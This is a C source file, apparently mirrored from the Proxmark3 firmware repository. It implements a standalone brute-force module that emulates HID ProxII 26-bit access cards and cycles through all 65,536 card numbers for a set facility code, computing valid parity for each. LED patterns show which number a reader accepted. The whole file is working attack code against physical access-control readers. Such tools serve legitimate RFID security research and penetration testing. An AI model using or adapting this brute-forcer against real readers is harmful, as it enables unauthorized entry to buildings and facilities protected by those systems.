mirror of
https://github.com/RfidResearchGroup/proxmark3.git
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108 lines
4.2 KiB
C
108 lines
4.2 KiB
C
//-----------------------------------------------------------------------------
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// Copyright (C) Yann Gascuel 2023
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// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
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//
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// This program is free software: you can redistribute it and/or modify
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// it under the terms of the GNU General Public License as published by
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// the Free Software Foundation, either version 3 of the License, or
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// (at your option) any later version.
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//
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// This program is distributed in the hope that it will be useful,
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// but WITHOUT ANY WARRANTY; without even the implied warranty of
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// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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// GNU General Public License for more details.
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//
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// See LICENSE.txt for the text of the license.
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//-----------------------------------------------------------------------------
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// LF HID ProxII Brutforce v2 by lnv42 - based on Proxbrute by Brad antoniewicz
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//
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// Following code is a trivial brute forcer for when you know the facility
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// code and want to find valid(s) card number(s). It will try all card
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// fnumbers rom CARDNUM_START to CARDNUM_END one by one (max. ~65k tries).
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// This brute force will be a lot faster than Proxbrute that will try all
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// possibles values for LF low, even those with bad checksum (~4g tries).
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// LEDs will help you know which card number(s) worked.
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//
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//-----------------------------------------------------------------------------
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#include "standalone.h" // standalone definitions
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#include "proxmark3_arm.h"
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#include "appmain.h"
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#include "fpgaloader.h"
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#include "util.h"
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#include "dbprint.h"
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#include "lfops.h"
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#include "parity.h"
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#define CARDNUM_START 0
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#define CARDNUM_END 0xFFFF
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#define FACILITY_CODE 2
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void ModInfo(void) {
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DbpString(" LF HID ProxII bruteforce v2");
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}
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// samy's sniff and repeat routine for LF
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void RunMod(void) {
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StandAloneMode();
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Dbprintf(">> LF HID proxII bruteforce v2 a.k.a Prox2Brute Started <<");
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FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
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const uint32_t high = 0x20; // LF high value is always 0x20 here
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uint32_t low = 0;
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uint32_t fac = FACILITY_CODE, cardnum = 0;
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LED_D_ON();
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while (BUTTON_HELD(200) != BUTTON_HOLD) { // Waiting for a 200ms button press
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WDT_HIT();
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// exit from SamyRun, send a usbcommand.
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if (data_available()) { // early exit
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DbpString("[=] You can take the shell back :) ...");
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LEDsoff();
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return;
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}
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}
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LED_C_ON();
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WAIT_BUTTON_RELEASED(); // We are now ready to start brutforcing card numbers
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LEDsoff();
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Dbprintf("[=] Starting HID ProxII Bruteforce from card %08x to %08x",
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CARDNUM_START, MIN(CARDNUM_END, 0xFFFF));
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for (cardnum = CARDNUM_START ; cardnum <= MIN(CARDNUM_END, 0xFFFF) ; cardnum++) {
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WDT_HIT();
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// exit from SamyRun, send a usbcommand.
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if (data_available()) break;
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// short button press may be used for fast-forward
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if (BUTTON_HELD(1000) == BUTTON_HOLD) break; // long button press (>=1sec) exit
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// calculate the new LF low value including Card number, Facility code and checksum
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low = (cardnum << 1) | (fac << 17);
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low |= oddparity32((low >> 1) & 0xFFF);
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low |= evenparity32((low >> 13) & 0xFFF) << 25;
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Dbprintf("[=] trying Facility = %08x, Card = %08x, raw = %08x%08x",
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fac, cardnum, high, low);
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// Start simulating an HID TAG, with high/low values, no led control and 20000 cycles timeout
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CmdHIDsimTAGEx(0, high, low, 0, false, 20000);
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// switch leds to be able to know (aproximatly) which card number worked (64 tries loop)
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LED_A_INV(); // switch led A every try
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if ((cardnum - CARDNUM_START) % 8 == 7) // switch led B every 8 tries
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LED_B_INV();
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if ((cardnum - CARDNUM_START) % 16 == 15) // switch led C every 16 tries
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LED_C_INV();
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if ((cardnum - CARDNUM_START) % 32 == 31) // switch led D every 32 tries
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LED_D_INV();
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}
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SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5); // Xmax tree
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Dbprintf("[=] Ending HID ProxII Bruteforce from card %08x to %08x",
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CARDNUM_START, cardnum - 1);
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DbpString("[=] You can take the shell back :) ...");
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LEDsoff(); // This is the end
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}
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